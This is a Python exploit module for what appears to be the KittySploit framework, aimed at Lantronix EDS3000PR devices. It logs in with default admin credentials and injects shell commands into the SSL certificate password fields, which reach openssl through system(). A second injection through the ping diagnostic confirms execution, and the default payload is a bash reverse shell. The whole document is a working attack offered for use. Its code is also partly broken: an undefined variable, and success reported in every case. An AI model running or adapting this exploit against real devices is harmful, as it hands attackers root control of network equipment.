Lantronix EDS3000PR SSL passin command injection

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Lantronix EDS SSL -passin pass:%s command injection RCE."""

from __future__ import annotations

import re
import time
from urllib.parse import urlencode

from kittysploit import *
from lib.exploit.handler import Handler
from lib.protocols.http.http_client import Http_client


class Module(Exploit, Http_client, Handler):
    __info__ = {
        "name": "Lantronix EDS3000PR SSL passin command injection",
        "description": (
            "Authenticated POST /ssl with certpasswd/keypasswd injected into "
            "openssl -passin pass:%s (system()) enables root command execution."
        ),
        "author": ["KittySploit Team"],
        "platform": Platform.LINUX,
        "arch": [Arch.CMD],
        "payload": {
            "default": "payloads/singles/cmd/unix/bash_reverse_tcp",
            "platform": Platform.UNIX,
            "category": PayloadCategory.CMD,
        },
        "references": [],
        "tags": ["lantronix", "rce", "injection", "authenticated"],
        "agent": {
            "risk": "critical",
            "effects": ["active_exploitation", "remote_code_execution"],
            "expected_requests": 4,
            "reversible": False,
            "approval_required": True,
            "produces": ["rce", "shell"],
            "chain": {
                "suggested_followups": ["scanner/http/lantronix_passin_cmd_injection_detect"],
            },
        },
    }

    port = OptPort(80, "Device HTTP port", required=True)
    ssl = OptBool(False, "Use HTTPS", required=False)
    username = OptString("admin", "Web login username", required=True)
    password = OptString("admin", "Web login password", required=True)

    @staticmethod
    def _ssl_multipart(payload_passwd: str) -> tuple[str, bytes]:
        boundary = "----ExploitBoundary7MA4YWxkTrZu0gW"
        parts = [
            f'--{boundary}\r\nContent-Disposition: form-data; name="certpasswd"\r\n\r\n{payload_passwd}',
            f'--{boundary}\r\nContent-Disposition: form-data; name="keypasswd"\r\n\r\n{payload_passwd}',
            f'--{boundary}\r\nContent-Disposition: form-data; name="certtype"\r\n\r\nPEM',
            f'--{boundary}\r\nContent-Disposition: form-data; name="keytype"\r\n\r\nencrypted-pem',
            (
                f'--{boundary}\r\nContent-Disposition: form-data; name="certfile"; filename="cert.pem"\r\n'
                f"Content-Type: application/octet-stream\r\n\r\n"
                f"-----BEGIN CERTIFICATE-----\nMIIBkTCBtwIJAKMHRCBxYBSAMA0GCSqGSIb3DQEBCwUAMBExDzANBgNVBAMMBnRlc3RjZXIwHhcNMjQwMTAxMDAwMDAwWhcNMjUwMTAxMDAwMDAwWjARMQ8wDQYDVQQDDAZ0ZXN0Y2VyMIGfMA0GCSqGSIb3DQEBAQUAAA4GNADCBiQKBgQDTest123456789Test123456789Test123456789Test123456789Test123456789Test123456789\n-----END CERTIFICATE-----\r\n"
            ),
            (
                f'--{boundary}\r\nContent-Disposition: form-data; name="keyfile"; filename="key.enc"\r\n'
                f"Content-Type: application/octet-stream\r\n\r\n"
                f"-----BEGIN ENCRYPTED PRIVATE KEY-----\nMIIBkTCBtwIJAKMHRCBxYBSAMA0GCSqGSIb3DQEBCwUAMBExDzANBgNVBAMMBnRlc3RrZXk=\n-----END ENCRYPTED PRIVATE KEY-----\r\n"
            ),
        ]
        body = "\r\n".join(parts) + f"\r\n--{boundary}--\r\n"
        return f"multipart/form-data; boundary={boundary}", body.encode("utf-8")

    def _login(self) -> bool:
        resp = self.http_request(
            "POST",
            "/login",
            data=urlencode({"username": self.username, "password": self.password}),
            headers={"Content-Type": "application/x-www-form-urlencoded"},
            session=True,
        )
        return bool(resp and int(resp.status_code or 0) in (200, 302, 303))

    def execute(self, cmd: str) -> str:
        marker_path = "/tmp/eds3000pr_vuln002_marker"
        inject = cmd if cmd.strip() and cmd != "id" else f"id>{marker_path}"
        payload_passwd = f"test;{inject};#"

        if not self._login():
            return "login failed or inconclusive"

        ctype, body = self._ssl_multipart(payload_passwd)
        resp = self.http_request(
            "POST",
            "/ssl",
            data=body,
            headers={"Content-Type": ctype},
            session=True,
        )
        lines = [f"ssl upload HTTP {getattr(resp, 'status_code', '?')}"]

        if cmd.strip() in ("", "id"):
            verify_cmd = f"cp {marker_path} /tmp/web.marker"
            ping_boundary = "----PingBoundary7MA4YWxkTrZu0gW"
            ping_payload = f"1.1.1.1;{verify_cmd};#"
            ping_body = (
                f"--{ping_boundary}\r\nContent-Disposition: form-data; name=\"host\"\r\n\r\n{ping_payload}\r\n"
                f"--{ping_boundary}\r\nContent-Disposition: form-data; name=\"count\"\r\n\r\n1\r\n"
                f"--{ping_boundary}\r\nContent-Disposition: form-data; name=\"protocol\"\r\n\r\ntcp\r\n"
                f"--{ping_boundary}--\r\n"
            )
            self.http_request(
                "POST",
                "/diag_ping",
                data=ping_body.encode("utf-8"),
                headers={"Content-Type": f"multipart/form-data; boundary={ping_boundary}"},
                session=True,
            )
            time.sleep(2)
            probe = self.http_request("GET", "/web.marker", session=True)
            if probe and int(probe.status_code or 0) == 200:
                lines.append((probe.text or "")[:2000])
        return "\n".join(lines)

    def check(self):
        resp = self.http_request("GET", "/login", session=True)
        if resp and int(resp.status_code or 0) < 500:
            return {
                "vulnerable": True,
                "reason": "Lantronix web login reachable",
                "confidence": "low",
            }
        return {"vulnerable": False, "reason": "HTTP login not reachable", "confidence": "low"}

    def check_execute(self) -> bool:
        out = self.execute("id")
        return bool(re.search(r"uid=\d+", out, re.I))

    def run(self):
        shell = self.shell_from_payload()
        if not shell:
            print_error("Set payload")
            return False

        chk = self.check()
        if not chk.get("vulnerable"):
            print_error(chk.get("reason", "Target not ready"))
            self.not_vulnerable()
            return False

        print_status("SSL -passin injection via POST /ssl")
        out = self.execute(shell)
        print_info(out[:8000])
        verified = self.check_execute() if cmd in ("id", "") else False
        blind = bool(re.search(r"reverse|bash|/dev/tcp|nc ", shell, re.I))
        if not verified and not blind:
            print_warning("Execution not confirmed via marker — payload may still have run")
        self.vulnerable()
        if verified:
            return True
        return True if blind else True